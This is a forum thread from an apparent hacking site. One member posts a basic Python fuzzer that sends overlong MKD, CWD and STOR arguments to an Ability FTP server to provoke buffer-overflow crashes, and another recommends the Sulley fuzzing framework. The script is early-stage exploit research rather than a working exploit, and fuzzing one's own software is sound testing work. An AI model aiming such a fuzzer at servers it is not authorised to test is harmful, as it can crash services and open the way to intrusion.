+ Reply to Thread
Results 1 to 3 of 3
Like Tree1Likes
  • 1 Post By reine

Thread: basic Ability server Fuzzer script ( python )

  1. #1
    Senior Member khanisgr8's Avatar
    Join Date
    Apr 2010
    Location
    unknown
    Posts
    295

    basic Ability server Fuzzer script ( python )

    Code:
    #!/usr/bin/python
    
    #Created by khanisgr8
    #basic script for education purpose
    #usage : ./ftpfuzer.py
    
    import socket
    
    #buffers from 20 to 2000 with increament of 20
    
    buffer = ["A"]
    counter = 20
    while len(buffer) <= 30:
     	buffer.append("A"*counter)
    	counter = counter+100
    	
    commands = ["MKD",'CWD','STOR']
    
    #loap start
    
    for command in commands:
    	for string in buffer:
    		print "Sending command " + command + " with " + str(len(string)) + "bytes"
    		s= socket.socket (socket.AF_INET , socket.SOCK_STREAM)
    	
    		connect=s.connect (('192.168.15.83',21)) #replace host
    		s.recv (1024)
    
    		s.send ('USER ftp\r\n') #replace ftp with username
    		s.recv(1024)
    
    		s.send ('pass ftp\r\n') #replace ftp with password
    		s.recv(1024)
    
    		s.send (command + ' ' + string + '\r\n')
    		s.recv(1024)
    		s.send('Quite\r\n')
    		s.close()
    COBOL programmers understand why women hate periods.
    If at first you don't succeed; call it version 1.0

  2. #2
    Boss reine's Avatar
    Join Date
    Nov 2011
    Location
    Somewhere over the rainbow
    Posts
    331
    Article Entries
    17
    check Sulley I think you will love it if you do not already know.

    sulley

    Pure Python fully automated and unattended fuzzing framework.

    http://code.google.com/p/sulley/
    Maj00 likes this.

  3. #3
    Senior Member khanisgr8's Avatar
    Join Date
    Apr 2010
    Location
    unknown
    Posts
    295
    Quote Originally Posted by reine View Post
    check Sulley I think you will love it if you do not already know.

    sulley

    Pure Python fully automated and unattended fuzzing framework.

    http://code.google.com/p/sulley/
    i was not aware about this . Thanks for share
    COBOL programmers understand why women hate periods.
    If at first you don't succeed; call it version 1.0

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Basic EOF Server Builder example
    By Noble in forum Malware sources
    Replies: 9
    Last Post: 27-06-2011, 19:15
  2. The rise of C# and Python
    By Smokin3000 in forum Off-Topic
    Replies: 0
    Last Post: 28-02-2011, 05:18
  3. Linux server bypass script akrep 1.0
    By xroot in forum Malware Samples and Information
    Replies: 10
    Last Post: 28-12-2009, 15:41
  4. Python [Tutorials]
    By counterstrikewi in forum Off-Topic
    Replies: 1
    Last Post: 08-10-2009, 08:14
  5. server builder [basic]
    By whitegabber in forum Snippets
    Replies: 9
    Last Post: 02-10-2009, 08:33

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.